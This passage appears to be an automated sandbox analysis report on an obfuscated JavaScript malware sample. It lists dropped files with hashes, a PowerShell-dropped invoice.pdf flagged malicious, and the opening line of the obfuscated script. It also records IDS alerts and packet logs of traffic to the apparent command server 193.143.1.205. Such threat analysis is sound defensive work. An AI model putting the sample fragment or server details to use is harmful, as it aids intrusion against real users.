Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\a6b1b7f4-1efe-4581-b162-15f7819bbf44.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\ab235353-2297-4811-aee7-86a82328862b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/2wYIGNPRmOWL07otGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:OwZGDbWLxtGZN3mlind9i4ufFXpAXkru
MD5:	AA6641E4BFC58F44E603CD0EE74AE8FF
SHA1:	29F99293E45449226D99AE893FA31E428BA80BF8
SHA-256:	0C9CEF808C626D2412A4548C0F78FAFD52A30D49C36E1ED1CDA2BBF0E1B5F2F1
SHA-512:	65C9820CA8747BB78292D34D7AB4D1F26F73CA4D7DF2C97F3BD87D777B8D00E981AF6CEC2D078AF5BB660EEDE1480608EC701B6F55A1521C6390F42FFDE6D0A2
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f86ff3e4-c9b2-4bc7-8deb-14e151694827.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17798), with CRLF line terminators
Entropy (8bit):	4.900143492690093
TrID:
File name:	86328271623317904.js
File size:	21'257 bytes
MD5:	7625ad5f02220d82b81c270a5b6f8118
SHA1:	120a81ea23e29beaaa425651aa64a50ebebe5007
SHA256:	64cc281dc2764ce8771480384e38ca595643571b9d6d60f995157f7631d945d7
SHA512:	818aecd301463d3ce76d8e6a7176456c14d42019e94862688f11e42db31e9c94236dd7f8eb507291f4517db70209b86289b5cb104c191930e9b536d6ce9a4ba2
SSDEEP:	384:d3IdlfCF6SPUtfQ8bR6XUDjoCjFnOChiiFJuF5s:dYdlfCFZUtfQ8bR6MZOyiDF+
TLSH:	E4A27604B80DDFF7D8E8A13C9257266A82A81AAF4E548CAF40B31D555324F345EE36F6
File Content Preview:	function vfoog(){kqvhn=[1031,3079,5127,4103,2055,3072];var dtbmryvhv=this[plccck+fkqbjf+uuzdnbwjt+fhuby+nfcur+fnbagfjh+fxkzoac+cqqzyjnmu](this[ljzlhoyoe+lsjxgjdnc+aqaxslwz+uuzdnbwjt+jzxkbuoht+plccck+cqqzyjnmu][vijnky+uuzdnbwjt+nfcur+fkqbjf+cqqzyjnmu+nfcur

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:42:21.941155+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-10T21:42:24.338793+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49717	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:42:21.125525951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:21.130439997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.130542994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:21.134212017 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:21.139013052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.941063881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.941092014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.941112041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.941123962 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.941131115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.941135883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.941140890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.941147089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.941153049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.941154957 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:21.941160917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.941263914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:21.945974112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.992422104 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:21.994904995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.994920015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.994970083 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:21.994986057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.994997025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:21.995109081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.069545031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.069566965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.069581032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.069592953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.069607973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.069649935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.069649935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.069868088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.069910049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.069921017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.069977045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.069977045 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.070216894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.070230961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.070241928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.070254087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.070264101 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.070267916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.070307016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.071146965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.071167946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.071181059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.071191072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.071202993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.071225882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.071225882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.071279049 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.071897984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.081646919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.081665993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.081684113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.123440027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.123459101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.123469114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.123533964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.123533964 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.123589039 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.123600006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.123691082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.156143904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.156168938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.156284094 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.199527025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.199543953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.199557066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.199623108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.199626923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.199640036 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.199654102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.199712038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.199712038 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.200054884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200066090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200078011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200088024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200098991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200107098 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.200113058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200126886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200144053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.200236082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.200824976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200908899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200918913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200928926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200941086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200953007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.200953007 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.200953960 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.200964928 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.201000929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.201000929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.201734066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.201746941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.201757908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.201770067 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.201781988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.201792955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.201801062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.201801062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.201806068 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.201899052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.202704906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.202717066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.202727079 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.202738047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.202748060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.202759027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.202763081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.202763081 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.202774048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.202807903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.202848911 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.203473091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.203485966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.203548908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.211565971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.211627007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.211637974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.211651087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.211661100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.211688042 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.211688995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.251853943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.251867056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.251880884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.251962900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.251972914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.251974106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.251972914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.251986027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.252002954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.252067089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.252067089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.252101898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.252126932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.252196074 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.252232075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.252243042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.252274036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.292473078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.292488098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.292499065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.292551041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 10, 2025 21:42:22.328016043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 10, 2025 21:42:22.328032017 CET	80	49710	193.143.1.205	192.168.2.6
